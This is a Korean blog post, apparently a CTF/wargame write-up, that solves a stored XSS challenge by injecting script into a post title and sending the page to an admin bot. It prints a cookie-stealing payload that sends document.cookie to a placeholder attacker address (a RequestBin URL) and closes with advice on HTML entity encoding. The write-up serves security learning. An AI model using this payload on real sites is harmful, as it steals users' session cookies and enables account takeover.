Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

Wargame & CTF/SegFault

[SegFault] (XSS) - XSS 1

Gearvirus(junyup2) 2023. 12. 29. 17:42

[SegFault] (XSS)

XSS 1

๊ด€๋ฆฌ์ž์˜ Cookie๋ฅผ ํƒˆ์ทจํ•˜์„ธ์š”!

๋ฌธ์ œ ํŒŒ์•…

๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ XSS์˜ ์ทจ์•ฝ์ ์„ ์ฐพ๊ณ , ๊ด€๋ฆฌ์ž Bot์— ํ•ด๋‹น ๋งํฌ๋ฅผ ์ž…๋ ฅํ•˜์—ฌ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ Cookie ๊ฐ’์„ ํƒˆ์ทจํ•˜์—ฌ ๋ฐ›์œผ๋ฉด Flag๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ์‹์œผ๋กœ ์ด๋ฃจ์–ด์ ธ ์žˆ๋‹ค.

ํ•˜์ง€๋งŒ ํ˜„์žฌ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋ฅผ ๊ฐ–๊ณ  ์žˆ์ง€ ์•Š์œผ๋ฏ€๋กœ RequestBin์„ ์ด์šฉํ•˜๊ธฐ๋กœ ํ•œ๋‹ค.

์šฐ์„  ์œ„์˜ [๊ด€๋ฆฌ์ž ๋ฐฉ๋ฌธ Bot Link]์— ์ ‘์†ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ URL ์ž…๋ ฅ์ฐฝ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

XSS ์ทจ์•ฝ์ ์„ ๋ฐœ๊ฒฌํ•˜๊ณ  ํ•ด๋‹น ๋งํฌ๋ฅผ ์œ„์˜ URL์— ์ž…๋ ฅํ•˜๋ฉด ๊ณต๊ฒฉ์ž ์„œ๋ฒ„(RequestBin)๋กœ ์ฟ ํ‚ค ๊ฐ’์ด ๋‚ ์•„์˜ค๋Š” ๋ฐฉ์‹์ด๋‹ค.

์ด์ œ ์•„๋ž˜์˜ ๋ฌธ์ œ ๋งํฌ์— ์ ‘์†ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฐฝ์ด ๋‚˜์˜จ๋‹ค.

์šฐ์„  ํšŒ์›๊ฐ€์ž… ํ›„ ๋กœ๊ทธ์ธ์„ ์‹œ๋„ํ•ด๋ณธ๋‹ค.

๋งˆ์ดํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•ด๋ณธ ๊ฒฐ๊ณผ XSS ์ทจ์•ฝ์ ์ด ๋ฐœ๊ฒฌ๋˜์ง€ ์•Š์•˜๋‹ค.

๊ณต์ง€์‚ฌํ•ญ์„ ํ™•์ธํ•ด๋ณด๊ธฐ๋กœ ํ•œ๋‹ค.

๊ธ€์“ฐ๊ธฐ ๊ธฐ๋Šฅ์„ ์ด์šฉํ•˜์—ฌ ๊ธ€์˜ ์ œ๋ชฉ์ด๋‚˜ ๋‚ด์šฉ์— ์Šคํฌ๋ฆฝํŠธ ์‚ฝ์ž…์ด ๊ฐ€๋Šฅํ•œ์ง€ ํ™•์ธํ•ด๋ณธ๋‹ค.

 

XSS Point

< ' " >

์œ„์˜ ํŠน์ˆ˜ ๊ธฐํ˜ธ๋“ค์— ๋Œ€ํ•˜์—ฌ ํ™•์ธํ•ด๋ณด๊ธฐ ์œ„ํ•ด ์ œ๋ชฉ์— ํ•ด๋‹น ํŠน์ˆ˜๋ฌธ์ž๋ฅผ ๋„ฃ์–ด์ฃผ์–ด ๊ธ€์„ ์ž‘์„ฑํ•ด๋ณธ๋‹ค.

๊ทธ ๊ฒฐ๊ณผ ํ•ด๋‹น ํŠน์ˆ˜๋ฌธ์ž๊ฐ€ ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค. ๊ทธ๋ ‡๋‹ค๋ฉด ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‚ฝ์ž… ๊ฐ€๋Šฅํ•˜๋‹ค๊ณ  ์ƒ๊ฐํ•˜๊ณ  ๋‹ค์Œ ๋‹จ๊ณ„๋กœ ๋„˜์–ด๊ฐ€ ๋ณธ๋‹ค.

์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํ™œ์„ฑํ™” ๋˜๋Š”์ง€ ํ™•์ธํ•ด๋ณด๊ธฐ ์œ„ํ•ด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ž…๋ ฅํ•˜์—ฌ ํ™•์ธํ•ด๋ณธ๋‹ค.

<script>alert(1);</script>

์œ„์™€ ๊ฐ™์ด ํ•ด๋‹น ๊ธ€์„ ์ฝ๊ธฐ ์œ„ํ•ด ๋“ค์–ด๊ฐ€๋ฉด ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์–ด ์•Œ๋ฆผ์ฐฝ์ด ๋œจ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.


ํ’€์ด ๊ณผ์ • (ํ•ด๊ฒฐ ๋ฐฉ์•ˆ)

๊ทธ๋ ‡๋‹ค๋ฉด ์ฟ ํ‚ค ํƒˆ์ทจ๋ฅผ ์œ„ํ•œ ํŽ˜์ด๋กœ๋“œ(Payload)๋ฅผ ์ž‘์„ฑํ•ด๋ณด๋„๋ก ํ•œ๋‹ค.

ํŽ˜์ด๋กœ๋“œ(Payload)

<script>
var cookieData = document.cookie;
var i = new Image();
i.src = "https://๊ณต๊ฒฉ์ž ์ฃผ์†Œ/?cookie="+cookieData;
</script>

์Šคํฌ๋ฆฝํŠธ ์‚ฝ์ž…

์œ„์™€ ๊ฐ™์ด ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ œ๋ชฉ์— ์‚ฝ์ž…ํ•˜์—ฌ ๊ธ€์„ ์ž‘์„ฑํ•œ๋‹ค.

๊ณต๊ฒฉ์ž ์ฃผ์†Œ = RequestBin ์ฃผ์†Œ

ํ•ด๋‹น ๊ธ€์„ ์ฝ๊ธฐ ์œ„ํ•ด ๋“ค์–ด๊ฐ€๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํ™œ์„ฑํ™” ๋˜์–ด ์ œ๋ชฉ์—๋Š” ์•„๋ฌด๊ฒƒ๋„ ์ถœ๋ ฅ๋˜์ง€ ์•Š๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์ด๊ฒƒ์„ Burp๋ฅผ ํ†ตํ•ด ํ™•์ธํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

ํ•ด๋‹น ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์‚ฝ์ž…๋œ ๊ธ€์„ ์ฝ๋Š” ํŽ˜์ด์ง€๋ฅผ ๊ด€๋ฆฌ์ž Bot ์— ๋ณด๋‚ด์ค€๋‹ค.

ํƒˆ์ทจ๋œ ์ฟ ํ‚ค(Cookie)๊ฐ€ ๊ณต๊ฒฉ์ž ์ฃผ์†Œ(RequestBin)์œผ๋กœ ๋ฐ›์•„์™€์ง€๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์œ„์™€ ๊ฐ™์ด ์›ํ•˜๋Š” flag๊ฐ€ ์ฟ ํ‚ค๋ฅผ ํ†ตํ•ด ํš๋“๋œ ๊ฒƒ์„ ํ™•์ธํ•˜์˜€๋‹ค.


์ทจ์•ฝ์ ์— ๊ด€ํ•œ ๊ณ ์ฐฐ

๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ ๊ธ€์“ฐ๊ธฐ์˜ ์ œ๋ชฉ ๋ถ€๋ถ„์— ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๋Š” Stored XSS ์ทจ์•ฝ์ ์œผ๋กœ HTML Entity ๊ฐ€ ์ œ๋Œ€๋กœ ์ ์šฉ๋˜์ง€ ์•Š์•„ ์‘๋‹ต(Response)์—์„œ ์ž‘์„ฑํ•œ ์ œ๋ชฉ์ด ๊ทธ๋Œ€๋กœ ๋…ธ์ถœ๋˜๊ณ  ์žˆ์Œ์„ ์ด์šฉํ•œ ์ทจ์•ฝ์ ์ด๋‹ค.

< ' " > ์™€ ๊ฐ™์€ ํŠน์ˆ˜๋ฌธ์ž์˜ ๊ฒฝ์šฐ, HTML ํŠน์ˆ˜์ฝ”๋“œ(HTML Entity)๋กœ ์น˜ํ™˜ํ•˜์—ฌ ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰์— ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ๋Š” ํƒœ๊ทธ(tag)์™€ ํ˜ผ์šฉ๋˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ๋ฌธ์ž์—ด๋กœ์„œ๋งŒ ์ธ์‹๋˜๋„๋ก ๊ตฌํ˜„ํ•ด์ค˜์•ผ ํ•œ๋‹ค.

์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜